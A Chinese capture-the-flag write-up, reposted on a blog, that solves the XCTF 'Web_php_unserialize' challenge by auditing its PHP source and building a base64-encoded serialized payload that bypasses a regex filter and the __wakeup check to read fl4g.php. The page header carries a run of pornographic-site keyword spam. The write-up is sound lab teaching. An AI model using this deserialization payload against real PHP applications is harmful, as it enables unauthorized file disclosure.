日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

XCTF-高手进阶区:Web_php_unserialize(详解)

發布時間:2023/12/31 php 50 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XCTF-高手进阶区:Web_php_unserialize(详解) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


代碼審計:

<?php class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } } else { highlight_file("index.php"); } ?>

這里看到了__wakeup,猜想是反序列化漏洞,秘密再fl4g.php中哦
(1)實例化對象

<?php class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } }$a=new Demo('fl4g.php'); $b=serialize($a); echo $b;//輸出: O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

(2)分析代碼

if (isset($_GET['var'])) { //判斷var變量是否存在并且非NULL$var = base64_decode($_GET['var']); //bse64解密varif (preg_match('/[oc]:\d+:/i', $var)) { //正則匹配$vardie('stop hacking!'); //停止腳本并輸出stop hacking!} else {@unserialize($var); //反序列化$var} } else { highlight_file("index.php"); //對index.php進行語法高亮顯示 }

最終目的是看到fl4g.php里的內容,那么我們需要做到的就兩點:

  • 繞過preg_match
  • 繞過__wakeup

(3)payload

<?php class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } }$a=new Demo('fl4g.php'); $b=serialize($a); echo $b; echo '<br/>'; $b=str_replace(':1:',':2:',$b); $b=str_replace(':4:',':+4:',$b); echo $b; echo '</br>'; $c=base64_encode($b); echo $c; //輸出: O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

注意:不同修飾符序列化后的值不一樣

訪問控制修飾符的不同,序列化后屬性的長度和屬性值會有所不同,如下所示:

public屬性被序列化的時候屬性值會變成屬性名
protected屬性被序列化的時候屬性值會變成\x00*\x00屬性名
private屬性被序列化的時候屬性值會變成\x00類名\x00屬性名
其中:\x00表示空字符,但是還是占用一個字符位置
這就是為什么上面的payload中serialize($a)執行后的序列化字符串中屬性file變成Demofile,長度為10

特別注意的是,因為瀏覽器會自動解碼\x00,因此你看到的最后序列化結果為O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},并沒有看到\x00,但實際base64編碼是需要加上\x00的,所以最后這個base64編碼需要使用php函數才有效(簡單來說都在php環境中使用)

如果你使用其它軟件base64編碼時,經過url解碼后的序列化字符串(O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";})也是沒有\x00的;但是,你可以使用bp的Decoder模塊進行編碼,將O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}中的Demo前后添加空字符00,如下:

接下來添加空字符:

(4)執行payload

總結

以上是生活随笔為你收集整理的XCTF-高手进阶区:Web_php_unserialize(详解)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。